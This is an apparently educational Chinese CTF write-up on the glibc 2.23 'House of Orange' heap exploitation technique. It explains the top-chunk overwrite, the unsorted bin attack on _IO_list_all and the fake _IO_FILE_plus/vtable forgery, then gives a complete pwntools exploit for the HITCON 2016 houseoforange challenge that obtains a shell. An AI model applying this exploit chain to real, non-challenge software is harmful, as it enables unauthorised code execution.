House of Orange

方法适用于glibc2.23
house of orange主要分为两个部分,首先是创造出unsorted bin,然后利用unsorted bin attack修改_IO_list_all指向可控的heap,最后伪造数据FSOP getshell
以下以how2heap中的house of orange为例

创造unsorted bin

malloc(0x400-16)
假设存在溢出,修改top chunk的size
需要满足两个条件:Top chunk + size页对齐和pre_inuse位为1
示例中top chunk大小为0x20c01,修改为0xc01

接下来malloc(0x1000)
由于此时top chunk的大小仅为0xc01
会调用sysmalooc,效果就是旧的top chunk被放入unsorted bin中,heap也进行了brk拓展,且紧跟在原本的top chunk之后

1
0x602000           0x623000 rw-p    21000 0      [heap]

拓展后如下

1
0x602000           0x645000 rw-p    43000 0      [heap]

unsorted bin attack

修改unsorted bin的bk指向_IO_list_all-0x10
并修改old top chunk的size为0x61(small bin,为了与之后对_IO_FILE利用中的偏移对应)

1
2
3
4
5
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x602400
Size: 0xbe1
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd2510
1
2
3
pwndbg> x/10gx 0x7ffff7dd2510
0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540 0x0000000000000000

这样一来,最后malloc时会遍历到unsorted bin,发现该chunk不符合大小,于是将该chunk从unsorted bin链中取出,此时执行

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

进行解链操作,自然就会在bck的fd处填上unsorted_chunks (av),所以这一步后_IO_list_all会写上0x7ffff7dd1b78(main_arena+88)
1
2
3
pwndbg> x/20gx 0x7ffff7dd2510
0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd1b78 0x0000000000000000

并且old top chunk从unsorted bin中取出,因为size被改为0x61,介于90~98,被放入small bin[4]
另外在old top chunk数据区开始处写上”/bin/sh”,方便接下来_IO_FILE的利用

FSOP

伪造_IO_FILE_plus

现在_IO_list_all已经指向了0x00007ffff7dd1b78
作为结构体查看此处内存

这里与上文中修改old top chunk的size为0x61对应,由于old top chunk被放入smallbin[4]中,从而对应_IO_FILE_plus结构体中_chain的偏移,知道_chain链接着FILE,可以看到_chain指向0x602400,正是old top chunk。所以程序会把old top chunk当作下一个_IO_FILE_plus结构体,在这里布置数据即可。

1
2
3
4
5
6
7
8
FILE *fp = (FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;//fake _IO_OVERFLOW
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8 set fake vtable

修改_mode为0,_IO_write_base为2,_IO_write_ptr为3绕过检查
并在对应vtable处(偏移0xd8)写入可控内存的地址(这里为&top[12])
再在vtable中偏移0x18处的_overflow处写入winner函数地址

布置好后如下图所示

触发_IO_overflow

malloc(10)
首先遍历到unsorted bin,执行上文所述的unsorted bin解链造成unsorted bin attack,并将原本位于unsorted bin中的old top chunk放入对应大小的small bin中(smallbin[4])
然后malloc还会检查size域,检测到size小于MINSIZEsize <= 2 * SIZE_SZ,触发终止调用链执行最终getshell

1
2
3
4
5
6
7
8
9
10
pwndbg> backtrace
#0 _IO_flush_all_lockp (do_lock=do_lock@entry=0) at genops.c:760
#1 0x00007ffff7a43fcd in __GI_abort () at abort.c:74
#2 0x00007ffff7a847fa in __libc_message (do_abort=2, fmt=fmt@entry=0x7ffff7b9dfd8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3 0x00007ffff7a8f15e in malloc_printerr (ar_ptr=0x7ffff7dd1b20 <main_arena>, ptr=0x7ffff7dd2520 <_IO_list_all>, str=0x7ffff7b9ae3f "malloc(): memory corruption", action=<optimized out>) at malloc.c:5020
#4 _int_malloc (av=av@entry=0x7ffff7dd1b20 <main_arena>, bytes=bytes@entry=10) at malloc.c:3481
#5 0x00007ffff7a911d4 in __GI___libc_malloc (bytes=10) at malloc.c:2920
#6 0x00000000004007d8 in main () at glibc_2.23/house_of_orange.c:257
#7 0x00007ffff7a2d840 in __libc_start_main (main=0x4006a6 <main>, argc=1, argv=0x7fffffffdda8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd98) at ../csu/libc-start.c:291
#8 0x00000000004005d9 in _start ()

malloc_printerr函数调用链如下

1
_int_malloc->malloc_printerr->__libc_message->__GI_abort->_IO_flush_all_lockp->_IO_OVERFLOW

最终跳转进入winnner函数,调用system(“/bin/sh”)getshell

总结

house of orange整体由三部分组成

  1. 没有free的情况下通过修改top chunk的size位(需要注意页对齐和pre_inuse位为1),利用sysmalloc创造出unsorted bin
  2. 利用unsorted bin attack修改_IO_list_all指向main_arena+88,并修改old top chunk的size为0x61(97),从而放入smallbin[4](90~98)。则造成在main_arena+88+0x68处,对应_IO_FILE_plus中的_chain指向old top chunk
  3. FSOP,布置old top chunk(fake _IO_FILE_plus)中的数据和指针,布置fake _IO_FILE中的_mode,_IO_write_base,_IO_write_ptr。写入fake vtable指向可控的内存区域,在对应偏移0x18写入fake _overflow指向winner函数最终执行了system(“/bin/sh”)。
    如果在fake _overflow处写入system函数地址,则最终会执行_IO_flush_all_lockp在调用_overflow(fp, EOF)时,fp指向”/bin/sh”,也能getshell

例题

houseoforange_hitcon_2016
这道题也是这个方法的来源
buu上能够复现

题目

build

结构

每个house大小固定,存两个指针,一个指向name,一个指向color和price
name最大可以申请0x1000
color和price没什么意义

每次build后,只会保留最新的house的指针,且计数加1,最多build三次

see

打印出信息
用来泄露地址

upgrade


更新name的信息时输多少就能写多少,存在堆溢出
只能更新最新的house内容

分析

  • 程序没有free,需要利用house of orange中的方法创造出一个unsorted bin(修改topchunk的size,malloc(0x1000))

  • 然后需要申请一个large bin大小(>512字节)的chunk作为name

  • 该large bin会用fd_nextsize和bk_nextsize会存放自身的地址,fd和bk会存放libc地址,从而分别泄露出libc地址和堆地址

  • 接下来构造payload,伪造_IO_FILE_plus:unsorted bin头部写入/bin/sh,size位修改为0x61,覆盖unsorted bin的bk指针指向_IO_list_all-0x10,伪造数据通过检查_mode=0;_IO_write_base=2;_IO_write_ptr=3,同时写入fake vtable的地址,并相应的在_IO_overflow处写上system函数地址。

  • 最后再申请一个house,触发调用链,最终getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./houseoforange_hitcon_2016')
#r = remote('node4.buuoj.cn', 27921)
elf = ELF('./houseoforange_hitcon_2016')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.23.so')

cmd1 = lambda x : r.sendlineafter(":", str(x))
cmd2 = lambda x : r.sendafter(":", x)


def build(len, content):
cmd1(1)
cmd1(len)
cmd2(content)
cmd1(24)
cmd1(1)

def see():
cmd1(2)

def upgrade(len, content):
cmd1(3)
cmd1(len)
cmd2(content)
cmd1(99)
cmd1(1)

def end():
cmd1(1)

#-----------------get libc_base and heao_base--------------------------

build(0x30, "ayoung")

pay = 'a'*0x38 + p64(0x21)+p64(0)*3+p64(0xf81)
upgrade(0x1000, pay)
build(0x1000, "ayoung2\n")
build(0x420, "a"*0x8)

see()
r.recvuntil('a'*8)
data = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
print hex(data)

malloc_hook = data-0x678
libc.address = malloc_hook-libc.symbols['__malloc_hook']
sys_addr = libc.symbols['system']
print 'libc_base ==> ', hex(libc.address)
upgrade(0x10, "a"*0x10)

see()
r.recvuntil('a'*0x10)
data = u64(r.recv(6).ljust(8,'\x00'))
print hex(data)
heap_addr = data-0xe0
fake_vtable = heap_addr+0x608
print 'heap_addr ==> ', hex(heap_addr)


#-----------------unsorted bin attack and set fake IO_FILE_plus---------------


IO_list_all = libc.symbols['_IO_list_all']

pay = p64(0x61)*0x85
pay+= p64(0x21)
pay+= p64(1)
pay+= p64(0)
pay+= '/bin/sh\x00'
pay+= p64(0x61)
pay+= p64(0)
pay+= p64(IO_list_all-0x10)
pay+= p64(2)+p64(3)
pay+= p64(0)*10
pay+= p64(0)*0xb
pay+= p64(fake_vtable)
pay+= p64(0)*2
pay+= p64(sys_addr)

upgrade(len(pay), pay)

#-----------------trigger malloc_printerr-----------------------------

end()


r.interactive()

远程的时候发现vtable向下布置才能成功,猜测可能是vtable中其他函数会影响到结果,让无关函数都为0比较稳。